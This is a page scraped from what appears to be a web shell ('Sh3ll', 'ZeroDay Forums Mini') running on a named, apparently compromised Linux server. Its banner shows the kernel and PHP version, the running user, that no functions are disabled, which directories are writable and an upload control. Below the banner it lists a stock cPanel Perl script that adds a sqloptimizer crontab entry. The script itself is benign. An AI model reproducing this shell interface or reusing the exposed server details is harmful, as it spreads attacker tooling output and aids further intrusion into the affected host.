Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //scripts/enable_sqloptimizer
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/enable_sqloptimizer             Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use warnings;

use Cpanel::SafeRun::Errors          ();
use Cpanel::MysqlUtils::SlowQueryLog ();
use Cpanel::Config::CpConfGuard      ();
use Cpanel::TempFile                 ();

setupsqloptimizercrontab();

Cpanel::MysqlUtils::SlowQueryLog::enable();

my $cpconf = Cpanel::Config::CpConfGuard->new();
if ( !$cpconf->{'data'}->{'sqloptimizer'} ) {
    $cpconf->{'data'}->{'sqloptimizer'} = 1;
    $cpconf->save();
}

sub setupsqloptimizercrontab {
    my $has_sqloptimizer = 0;
    my @CT               = grep( !/^#/, split( /\n/, Cpanel::SafeRun::Errors::saferunnoerror( 'crontab', '-l' ) ) );
    if ( grep( /sqloptimizer/, @CT ) ) { $has_sqloptimizer = 1; }
    if ( !$has_sqloptimizer ) {
        @CT = grep( !/sqloptimizer/, @CT );
        push( @CT, "12 5 * * * /usr/local/cpanel/bin/sqloptimizer >/dev/null 2>&1" );
        my $tmp_obj      = Cpanel::TempFile->new();
        my $tmp_filename = $tmp_obj->file();
        if ( $tmp_filename && open( my $cr_fh, ">", $tmp_filename ) ) {
            print {$cr_fh} join( "\n", @CT ) . "\n";
            close($cr_fh);
            system 'crontab', $tmp_filename;
        }
        else {
            die "Unable to write crontab temporary file";
        }
    }
    return 1;
}

ZeroDay Forums Mini